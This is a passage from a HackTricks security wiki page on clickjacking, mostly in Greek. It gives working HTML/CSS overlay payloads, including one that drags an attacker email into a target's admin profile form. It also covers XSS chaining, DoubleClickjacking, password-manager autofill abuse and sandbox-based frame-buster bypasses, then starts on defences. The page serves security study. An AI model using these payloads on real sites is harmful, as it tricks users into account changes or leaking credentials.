Clickjacking

Reading time: 9 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τι είναι το Clickjacking

Σε μια επίθεση clickjacking, ένας user tricked ώστε να clicking σε ένα element σε μια ιστοσελίδα που είναι είτε invisible είτε εμφανίζεται ως διαφορετικό στοιχείο. Αυτή η χειραγώγηση μπορεί να οδηγήσει σε ανεπιθύμητες συνέπειες για τον χρήστη, όπως η λήψη malware, η ανακατεύθυνση σε κακόβουλες ιστοσελίδες, η παροχή credentials ή ευαίσθητων πληροφοριών, μεταφορές χρημάτων ή η αγορά προϊόντων online.

Prepopulate forms trick

Μερικές φορές είναι δυνατόν να fill the value of fields of a form using GET parameters when loading a page. Ένας attacker μπορεί να καταχραστεί αυτή τη συμπεριφορά για να συμπληρώσει μια φόρμα με αυθαίρετα δεδομένα και να στείλει το clickjacking payload ώστε ο user να πατήσει το κουμπί Submit.

Populate form with Drag&Drop

Αν χρειάζεστε ο user να fill a form αλλά δεν θέλετε να του ζητήσετε απευθείας να γράψει συγκεκριμένες πληροφορίες (όπως το email ή κάποιο συγκεκριμένο password που γνωρίζετε), μπορείτε απλώς να του ζητήσετε να Drag&Drop κάτι που θα γράψει τα ελεγχόμενα δεδομένα σας όπως σε this example.

Basic Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Πολυσταδιακό Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

If you have identified an XSS attack that requires a user to click on some element to trigger the XSS and the page is vulnerable to clickjacking, you could abuse it to trick the user into clicking the button/link.
Παράδειγμα:
Βρήκατε μια self XSS σε κάποιες ιδιωτικές πληροφορίες του λογαριασμού (πληροφορίες που μόνο εσείς μπορείτε να ορίσετε και να διαβάσετε). Η σελίδα με τη φόρμα για να ορίσετε αυτές τις πληροφορίες είναι ευάλωτη σε Clickjacking και μπορείτε να προγεμίσετε τη φόρμα με τις GET παραμέτρους.
Ένας επιτιθέμενος θα μπορούσε να προετοιμάσει μια επίθεση Clickjacking σε αυτή τη σελίδα προγεμίζοντας τη φόρμα με το XSS payload και ξεγελώντας τον χρήστη να υποβάλει τη φόρμα. Έτσι, όταν υποβληθεί η φόρμα και οι τιμές τροποποιηθούν, ο χρήστης θα εκτελέσει την XSS.

DoubleClickjacking

Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page during the double click so the victim actually clicks a legit button in the victim page.

Ένα παράδειγμα μπορείτε να δείτε σε αυτό το βίντεο: https://www.youtube.com/watch?v=4rGvRRMrD18

Παράδειγμα κώδικα μπορείτε να βρείτε σε this page.

warning

Αυτή η τεχνική επιτρέπει να ξεγελάσετε τον χρήστη ώστε να κάνει κλικ σε ένα σημείο στη σελίδα του θύματος παρακάμπτοντας κάθε προστασία κατά του clickjacking. Επομένως ο επιτιθέμενος πρέπει να βρει ευαίσθητες ενέργειες που μπορούν να γίνουν με μόνο 1 κλικ, όπως οι προτροπές OAuth για αποδοχή δικαιωμάτων.

Browser extensions: DOM-based autofill clickjacking

Aside from iframing victim pages, attackers can target browser extension UI elements that are injected into the page. Οι password managers εμφανίζουν autofill dropdowns κοντά σε εστιασμένα inputs· με το να εστιάσετε σε ένα πεδίο που ελέγχεται από τον επιτιθέμενο και να κρύψετε/αποκλείσετε το dropdown της επέκτασης (opacity/overlay/top-layer tricks), ένα εξαναγκασμένο κλικ χρήστη μπορεί να επιλέξει ένα αποθηκευμένο στοιχείο και να γεμίσει ευαίσθητα δεδομένα σε inputs που ελέγχονται από τον επιτιθέμενο. Αυτή η παραλλαγή δεν απαιτεί έκθεση με iframe και λειτουργεί εξολοκλήρου μέσω DOM/CSS manipulation.

  • For concrete techniques and PoCs see:

BrowExt - ClickJacking

Strategies to Mitigate Clickjacking

Client-Side Defenses

Σκριπτά που εκτελούνται στην πλευρά του πελάτη μπορούν να εκτελέσουν ενέργειες για να αποτρέψουν το Clickjacking:

  • Εξασφάλιση ότι το παράθυρο της εφαρμογής είναι το κύριο ή το top window.
  • Κάνοντας όλα τα frames ορατά.
  • Αποτροπή κλικ σε αόρατα frames.
  • Ανίχνευση και ειδοποίηση των χρηστών για πιθανές προσπάθειες Clickjacking.

Ωστόσο, αυτά τα frame-busting scripts μπορεί να παρακαμφθούν:

  • Browsers' Security Settings: Ορισμένοι browsers μπορεί να μπλοκάρουν αυτά τα σκριπτά με βάση τις ρυθμίσεις ασφαλείας τους ή την έλλειψη υποστήριξης JavaScript.
  • HTML5 iframe sandbox Attribute: Ένας επιτιθέμενος μπορεί να εξουδετερώσει τα frame buster scripts ρυθμίζοντας το sandbox attribute με τις τιμές allow-forms ή allow-scripts χωρίς allow-top-navigation. Αυτό εμποδίζει το iframe να επαληθεύσει αν είναι το top window, π.χ.
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Οι τιμές allow-forms και allow-scripts επιτρέπουν ενέργειες εντός του iframe ενώ απενεργοποιούν την πλοήγηση στο κορυφαίο επίπεδο. Για να εξασφαλιστεί η επιθυμητή λειτουργικότητα του στοχευόμενου site, ενδέχεται να χρειάζονται επιπλέον άδειες όπως allow-same-origin και allow-modals, ανάλογα με τον τύπο της επίθεσης. Τα μηνύματα στην κονσόλα του browser μπορούν να υποδείξουν ποιες άδειες πρέπει να επιτρέψετε.

Server-Side Defenses

X-Frame-Options

Το HTTP response header X-Frame-Options ενημερώνει τους browsers σχετικά με το αν είναι νόμιμο να γίνει render μια σελίδα μέσα σε ή